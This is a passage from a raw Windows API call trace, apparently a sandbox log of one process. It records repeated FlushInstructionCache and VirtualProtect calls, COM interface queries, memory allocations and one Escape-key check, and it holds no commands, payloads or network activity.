(hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889a8, dwSize=0x8) returned 1 [0095.091] GetCurrentProcess () returned 0xffffffffffffffff [0095.091] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d809, dwSize=0x8) returned 1 [0095.091] GetCurrentProcess () returned 0xffffffffffffffff [0095.091] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d808, dwSize=0x8) returned 1 [0095.091] GetCurrentProcess () returned 0xffffffffffffffff [0095.091] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d818, dwSize=0x2) returned 1 [0095.091] GetCurrentProcess () returned 0xffffffffffffffff [0095.091] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d86c, dwSize=0x45) returned 1 [0095.091] VirtualProtect (in: lpAddress=0x4d7d86c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23c0ac | out: lpflOldProtect=0x23c0ac*=0x40) returned 1 [0095.091] GetCurrentProcess () returned 0xffffffffffffffff [0095.091] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688841, dwSize=0x8) returned 1 [0095.091] GetCurrentProcess () returned 0xffffffffffffffff [0095.091] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688840, dwSize=0x8) returned 1 [0095.092] GetCurrentProcess () returned 0xffffffffffffffff [0095.092] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688850, dwSize=0x2) returned 1 [0095.092] GetCurrentProcess () returned 0xffffffffffffffff [0095.092] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6888a4, dwSize=0x45) returned 1 [0095.092] VirtualProtect (in: lpAddress=0xb6888a4, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23c0ac | out: lpflOldProtect=0x23c0ac*=0x40) returned 1 [0095.092] GetCurrentProcess () returned 0xffffffffffffffff [0095.092] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb68892c, dwSize=0x45) returned 1 [0095.092] VirtualProtect (in: lpAddress=0xb68892c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23c0ac | out: lpflOldProtect=0x23c0ac*=0x40) returned 1 [0095.092] GetCurrentProcess () returned 0xffffffffffffffff [0095.092] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889a9, dwSize=0x8) returned 1 [0095.092] GetCurrentProcess () returned 0xffffffffffffffff [0095.092] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889a8, dwSize=0x8) returned 1 [0095.092] GetCurrentProcess () returned 0xffffffffffffffff [0095.092] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889b8, dwSize=0x2) returned 1 [0095.092] GetCurrentProcess () returned 0xffffffffffffffff [0095.092] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687a6c, dwSize=0x4d) returned 1 [0095.092] VirtualProtect (in: lpAddress=0xb687a6c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c0ac | out: lpflOldProtect=0x23c0ac*=0x40) returned 1 [0095.092] GetCurrentProcess () returned 0xffffffffffffffff [0095.092] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687af1, dwSize=0x8) returned 1 [0095.092] GetCurrentProcess () returned 0xffffffffffffffff [0095.092] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687af0, dwSize=0x8) returned 1 [0095.092] GetCurrentProcess () returned 0xffffffffffffffff [0095.092] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687b00, dwSize=0x2) returned 1 [0095.092] GetCurrentProcess () returned 0xffffffffffffffff [0095.092] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687b54, dwSize=0x45) returned 1 [0095.092] VirtualProtect (in: lpAddress=0xb687b54, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23c0ac | out: lpflOldProtect=0x23c0ac*=0x40) returned 1 [0095.092] GetCurrentProcess () returned 0xffffffffffffffff [0095.092] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687bd1, dwSize=0x8) returned 1 [0095.092] GetCurrentProcess () returned 0xffffffffffffffff [0095.092] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687bd0, dwSize=0x8) returned 1 [0095.092] GetCurrentProcess () returned 0xffffffffffffffff [0095.092] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687be0, dwSize=0x2) returned 1 [0095.092] GetCurrentProcess () returned 0xffffffffffffffff [0095.092] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f0c, dwSize=0x4d) returned 1 [0095.092] VirtualProtect (in: lpAddress=0xb687f0c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c0ac | out: lpflOldProtect=0x23c0ac*=0x40) returned 1 [0095.092] GetCurrentProcess () returned 0xffffffffffffffff [0095.092] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f91, dwSize=0x8) returned 1 [0095.093] GetCurrentProcess () returned 0xffffffffffffffff [0095.093] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f90, dwSize=0x8) returned 1 [0095.093] GetCurrentProcess () returned 0xffffffffffffffff [0095.093] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687fa0, dwSize=0x2) returned 1 [0095.093] GetCurrentProcess () returned 0xffffffffffffffff [0095.093] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687ff4, dwSize=0x4d) returned 1 [0095.093] VirtualProtect (in: lpAddress=0xb687ff4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c0ac | out: lpflOldProtect=0x23c0ac*=0x40) returned 1 [0095.093] GetCurrentProcess () returned 0xffffffffffffffff [0095.093] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688079, dwSize=0x8) returned 1 [0095.093] GetCurrentProcess () returned 0xffffffffffffffff [0095.093] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688078, dwSize=0x8) returned 1 [0095.093] GetCurrentProcess () returned 0xffffffffffffffff [0095.093] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688088, dwSize=0x2) returned 1 [0095.093] GetCurrentProcess () returned 0xffffffffffffffff [0095.093] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687cbc, dwSize=0x4d) returned 1 [0095.093] VirtualProtect (in: lpAddress=0xb687cbc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c0ac | out: lpflOldProtect=0x23c0ac*=0x40) returned 1 [0095.093] GetCurrentProcess () returned 0xffffffffffffffff [0095.093] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d41, dwSize=0x8) returned 1 [0095.093] GetCurrentProcess () returned 0xffffffffffffffff [0095.093] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d40, dwSize=0x8) returned 1 [0095.093] GetCurrentProcess () returned 0xffffffffffffffff [0095.093] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d50, dwSize=0x2) returned 1 [0095.093] GetCurrentProcess () returned 0xffffffffffffffff [0095.093] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687da4, dwSize=0x4d) returned 1 [0095.093] VirtualProtect (in: lpAddress=0xb687da4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c0ac | out: lpflOldProtect=0x23c0ac*=0x40) returned 1 [0095.093] GetCurrentProcess () returned 0xffffffffffffffff [0095.093] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e29, dwSize=0x8) returned 1 [0095.093] GetCurrentProcess () returned 0xffffffffffffffff [0095.093] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e28, dwSize=0x8) returned 1 [0095.093] GetCurrentProcess () returned 0xffffffffffffffff [0095.093] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e38, dwSize=0x2) returned 1 [0095.093] GetCurrentProcess () returned 0xffffffffffffffff [0095.093] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688cec, dwSize=0x4d) returned 1 [0095.093] VirtualProtect (in: lpAddress=0xb688cec, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c0ac | out: lpflOldProtect=0x23c0ac*=0x40) returned 1 [0095.093] GetCurrentProcess () returned 0xffffffffffffffff [0095.093] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d71, dwSize=0x8) returned 1 [0095.093] GetCurrentProcess () returned 0xffffffffffffffff [0095.093] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d70, dwSize=0x8) returned 1 [0095.093] GetCurrentProcess () returned 0xffffffffffffffff [0095.093] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d80, dwSize=0x2) returned 1 [0095.094] GetCurrentProcess () returned 0xffffffffffffffff [0095.094] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688dd4, dwSize=0x4d) returned 1 [0095.094] VirtualProtect (in: lpAddress=0xb688dd4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c0ac | out: lpflOldProtect=0x23c0ac*=0x40) returned 1 [0095.094] GetCurrentProcess () returned 0xffffffffffffffff [0095.094] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e59, dwSize=0x8) returned 1 [0095.094] GetCurrentProcess () returned 0xffffffffffffffff [0095.094] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e58, dwSize=0x8) returned 1 [0095.094] GetCurrentProcess () returned 0xffffffffffffffff [0095.094] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e68, dwSize=0x2) returned 1 [0095.094] GetCurrentProcess () returned 0xffffffffffffffff [0095.094] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb68815c, dwSize=0x4d) returned 1 [0095.094] VirtualProtect (in: lpAddress=0xb68815c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c0ac | out: lpflOldProtect=0x23c0ac*=0x40) returned 1 [0095.094] GetCurrentProcess () returned 0xffffffffffffffff [0095.094] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881e1, dwSize=0x8) returned 1 [0095.094] GetCurrentProcess () returned 0xffffffffffffffff [0095.094] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881e0, dwSize=0x8) returned 1 [0095.094] GetCurrentProcess () returned 0xffffffffffffffff [0095.094] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881f0, dwSize=0x2) returned 1 [0095.094] GetCurrentProcess () returned 0xffffffffffffffff [0095.094] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688244, dwSize=0x4d) returned 1 [0095.094] VirtualProtect (in: lpAddress=0xb688244, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c0ac | out: lpflOldProtect=0x23c0ac*=0x40) returned 1 [0095.094] IUnknown:AddRef (This=0xb901e68) returned 0x3 [0095.094] IUnknown:QueryInterface (in: This=0xb901e68, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d468 | out: ppvObject=0x23d468*=0x0) returned 0x80004002 [0095.094] IUnknown:QueryInterface (in: This=0xb901e68, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d460 | out: ppvObject=0x23d460*=0x0) returned 0x80004002 [0095.094] IUnknown:Release (This=0xb901e68) returned 0x2 [0095.094] IUnknown:AddRef (This=0xb901ec0) returned 0x6 [0095.094] IUnknown:QueryInterface (in: This=0xb901ec0, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d468 | out: ppvObject=0x23d468*=0x0) returned 0x80004002 [0095.094] IUnknown:QueryInterface (in: This=0xb901ec0, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d460 | out: ppvObject=0x23d460*=0x0) returned 0x80004002 [0095.094] IUnknown:Release (This=0xb901ec0) returned 0x5 [0095.094] IUnknown:AddRef (This=0xb901db8) returned 0x2 [0095.094] IUnknown:QueryInterface (in: This=0xb901db8, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d468 | out: ppvObject=0x23d468*=0x0) returned 0x80004002 [0095.094] IUnknown:QueryInterface (in: This=0xb901db8, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d460 | out: ppvObject=0x23d460*=0x0) returned 0x80004002 [0095.094] IUnknown:Release (This=0xb901db8) returned 0x1 [0095.094] IUnknown:AddRef (This=0xb9f7128) returned 0x3 [0095.094] IUnknown:QueryInterface (in: This=0xb9f7128, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d468 | out: ppvObject=0x23d468*=0x0) returned 0x80004002 [0095.094] IUnknown:QueryInterface (in: This=0xb9f7128, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d460 | out: ppvObject=0x23d460*=0x0) returned 0x80004002 [0095.094] IUnknown:Release (This=0xb9f7128) returned 0x2 [0095.094] GetAsyncKeyState (vKey=27) returned 0 [0095.096] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xbdad140 [0095.096] IUnknown:AddRef (This=0xb901db8) returned 0x2 [0095.096] IUnknown:Release (This=0xb901db8) returned 0x1 [0095.096] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0xb880530 [0095.096] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.096] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.096] GetCurrentProcess () returned 0xffffffffffffffff [0095.096] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb880530, dwSize=0x4c) returned 1 [0095.096] IMalloc:Free (This=0x7feffc15380, pv=0xb880530) [0095.097] IUnknown:AddRef (This=0xb901db8) returned 0x2 [0095.097] IUnknown:Release (This=0xb901db8) returned 0x1 [0095.097] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0xb880530 [0095.097] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.097] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.097] GetCurrentProcess () returned 0xffffffffffffffff [0095.097] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb880530, dwSize=0x4c) returned 1 [0095.097] IMalloc:Free (This=0x7feffc15380, pv=0xb880530) [0095.097] IUnknown:AddRef (This=0xb901db8) returned 0x2 [0095.097] IUnknown:Release (This=0xb901db8) returned 0x1 [0095.097] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0xb880530 [0095.097] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.097] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.097] GetCurrentProcess () returned 0xffffffffffffffff [0095.097] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb880530, dwSize=0x4c) returned 1 [0095.097] IMalloc:Free (This=0x7feffc15380, pv=0xb880530) [0095.097] IUnknown:AddRef (This=0xb901db8) returned 0x2 [0095.097] IUnknown:Release (This=0xb901db8) returned 0x1 [0095.097] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0xb880530 [0095.097] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.097] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.097] GetCurrentProcess () returned 0xffffffffffffffff [0095.098] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb880530, dwSize=0x4c) returned 1 [0095.098] IMalloc:Free (This=0x7feffc15380, pv=0xb880530) [0095.098] IUnknown:AddRef (This=0xb901db8) returned 0x2 [0095.098] IUnknown:Release (This=0xb901db8) returned 0x1 [0095.098] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0xb880530 [0095.098] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.098] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.098] GetCurrentProcess () returned 0xffffffffffffffff [0095.098] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb880530, dwSize=0x4c) returned 1 [0095.098] IMalloc:Free (This=0x7feffc15380, pv=0xb880530) [0095.098] IUnknown:AddRef (This=0xb901db8) returned 0x2 [0095.098] IUnknown:Release (This=0xb901db8) returned 0x1 [0095.098] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0xb880530 [0095.098] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.098] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.098] GetCurrentProcess () returned 0xffffffffffffffff [0095.098] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb880530, dwSize=0x4c) returned 1 [0095.098] IMalloc:Free (This=0x7feffc15380, pv=0xb880530) [0095.098] IMalloc:Realloc (This=0x7feffc15380, pv=0xbdad140, cb=0x17e) returned 0xbdad140 [0095.098] IMalloc:Free (This=0x7feffc15380, pv=0xbe54390) [0095.099] GetCurrentProcess () returned 0xffffffffffffffff [0095.099] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e59, dwSize=0x8) returned 1 [0095.099] GetCurrentProcess () returned 0xffffffffffffffff [0095.099] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e58, dwSize=0x8) returned 1 [0095.099] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d809, dwSize=0x8) returned 1 [0095.099] GetCurrentProcess () returned 0xffffffffffffffff [0095.099] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d808, dwSize=0x8) returned 1 [0095.099] GetCurrentProcess () returned 0xffffffffffffffff [0095.099] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d818, dwSize=0x2) returned 1 [0095.099] GetCurrentProcess () returned 0xffffffffffffffff [0095.099] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d86c, dwSize=0x45) returned 1 [0095.099] VirtualProtect (in: lpAddress=0x4d7d86c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23bf4c | out: lpflOldProtect=0x23bf4c*=0x40) returned 1 [0095.099] GetCurrentProcess () returned 0xffffffffffffffff [0095.099] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688841, dwSize=0x8) returned 1 [0095.099] GetCurrentProcess () returned 0xffffffffffffffff [0095.099] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688840, dwSize=0x8) returned 1 [0095.099] GetCurrentProcess () returned 0xffffffffffffffff [0095.099] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688850, dwSize=0x2) returned 1 [0095.099] GetCurrentProcess () returned 0xffffffffffffffff [0095.099] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6888a4, dwSize=0x45) returned 1 [0095.099] VirtualProtect (in: lpAddress=0xb6888a4, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23bf4c | out: lpflOldProtect=0x23bf4c*=0x40) returned 1 [0095.099] GetCurrentProcess () returned 0xffffffffffffffff [0095.099] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb68892c, dwSize=0x45) returned 1 [0095.099] VirtualProtect (in: lpAddress=0xb68892c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23bf4c | out: lpflOldProtect=0x23bf4c*=0x40) returned 1 [0095.099] GetCurrentProcess () returned 0xffffffffffffffff [0095.099] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889a9, dwSize=0x8) returned 1 [0095.099] GetCurrentProcess () returned 0xffffffffffffffff [0095.099] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889a8, dwSize=0x8) returned 1 [0095.099] GetCurrentProcess () returned 0xffffffffffffffff [0095.099] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889b8, dwSize=0x2) returned 1 [0095.099] GetCurrentProcess () returned 0xffffffffffffffff [0095.099] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687a6c, dwSize=0x4d) returned 1 [0095.100] VirtualProtect (in: lpAddress=0xb687a6c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bf4c | out: lpflOldProtect=0x23bf4c*=0x40) returned 1 [0095.100] GetCurrentProcess () returned 0xffffffffffffffff [0095.100] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687af1, dwSize=0x8) returned 1 [0095.100] GetCurrentProcess () returned 0xffffffffffffffff [0095.100] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687af0, dwSize=0x8) returned 1 [0095.100] GetCurrentProcess () returned 0xffffffffffffffff [0095.100] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687b00, dwSize=0x2) returned 1 [0095.100] GetCurrentProcess () returned 0xffffffffffffffff [0095.100] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687b54, dwSize=0x45) returned 1 [0095.100] VirtualProtect (in: lpAddress=0xb687b54, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23bf4c | out: lpflOldProtect=0x23bf4c*=0x40) returned 1 [0095.100] GetCurrentProcess () returned 0xffffffffffffffff [0095.100] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687bd1, dwSize=0x8) returned 1 [0095.100] GetCurrentProcess () returned 0xffffffffffffffff [0095.100] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687bd0, dwSize=0x8) returned 1 [0095.100] GetCurrentProcess () returned 0xffffffffffffffff [0095.100] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687be0, dwSize=0x2) returned 1 [0095.100] GetCurrentProcess () returned 0xffffffffffffffff [0095.100] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f0c, dwSize=0x4d) returned 1 [0095.100] VirtualProtect (in: lpAddress=0xb687f0c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bf4c | out: lpflOldProtect=0x23bf4c*=0x40) returned 1 [0095.100] GetCurrentProcess () returned 0xffffffffffffffff [0095.100] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f91, dwSize=0x8) returned 1 [0095.100] GetCurrentProcess () returned 0xffffffffffffffff [0095.100] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f90, dwSize=0x8) returned 1 [0095.100] GetCurrentProcess () returned 0xffffffffffffffff [0095.100] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687fa0, dwSize=0x2) returned 1 [0095.100] GetCurrentProcess () returned 0xffffffffffffffff [0095.100] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687ff4, dwSize=0x4d) returned 1 [0095.100] VirtualProtect (in: lpAddress=0xb687ff4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bf4c | out: lpflOldProtect=0x23bf4c*=0x40) returned 1 [0095.101] GetCurrentProcess () returned 0xffffffffffffffff [0095.101] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688079, dwSize=0x8) returned 1 [0095.101] GetCurrentProcess () returned 0xffffffffffffffff [0095.101] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688078, dwSize=0x8) returned 1 [0095.101] GetCurrentProcess () returned 0xffffffffffffffff [0095.101] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688088, dwSize=0x2) returned 1 [0095.101] GetCurrentProcess () returned 0xffffffffffffffff [0095.101] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687cbc, dwSize=0x4d) returned 1 [0095.101] VirtualProtect (in: lpAddress=0xb687cbc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bf4c | out: lpflOldProtect=0x23bf4c*=0x40) returned 1 [0095.101] GetCurrentProcess () returned 0xffffffffffffffff [0095.101] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d41, dwSize=0x8) returned 1 [0095.101] GetCurrentProcess () returned 0xffffffffffffffff [0095.101] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d40, dwSize=0x8) returned 1 [0095.101] GetCurrentProcess () returned 0xffffffffffffffff [0095.101] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d50, dwSize=0x2) returned 1 [0095.101] GetCurrentProcess () returned 0xffffffffffffffff [0095.101] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687da4, dwSize=0x4d) returned 1 [0095.101] VirtualProtect (in: lpAddress=0xb687da4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bf4c | out: lpflOldProtect=0x23bf4c*=0x40) returned 1 [0095.101] GetCurrentProcess () returned 0xffffffffffffffff [0095.101] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e29, dwSize=0x8) returned 1 [0095.101] GetCurrentProcess () returned 0xffffffffffffffff [0095.101] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e28, dwSize=0x8) returned 1 [0095.101] GetCurrentProcess () returned 0xffffffffffffffff [0095.101] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e38, dwSize=0x2) returned 1 [0095.101] GetCurrentProcess () returned 0xffffffffffffffff [0095.101] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688cec, dwSize=0x4d) returned 1 [0095.101] VirtualProtect (in: lpAddress=0xb688cec, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bf4c | out: lpflOldProtect=0x23bf4c*=0x40) returned 1 [0095.101] GetCurrentProcess () returned 0xffffffffffffffff [0095.101] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d71, dwSize=0x8) returned 1 [0095.101] GetCurrentProcess () returned 0xffffffffffffffff [0095.101] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d70, dwSize=0x8) returned 1 [0095.101] GetCurrentProcess () returned 0xffffffffffffffff [0095.102] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d80, dwSize=0x2) returned 1 [0095.102] GetCurrentProcess () returned 0xffffffffffffffff [0095.102] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688dd4, dwSize=0x4d) returned 1 [0095.102] VirtualProtect (in: lpAddress=0xb688dd4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bf4c | out: lpflOldProtect=0x23bf4c*=0x40) returned 1 [0095.102] GetCurrentProcess () returned 0xffffffffffffffff [0095.102] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e59, dwSize=0x8) returned 1 [0095.102] GetCurrentProcess () returned 0xffffffffffffffff [0095.102] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e58, dwSize=0x8) returned 1 [0095.102] GetCurrentProcess () returned 0xffffffffffffffff [0095.102] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e68, dwSize=0x2) returned 1 [0095.102] GetCurrentProcess () returned 0xffffffffffffffff [0095.102] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb68815c, dwSize=0x4d) returned 1 [0095.102] VirtualProtect (in: 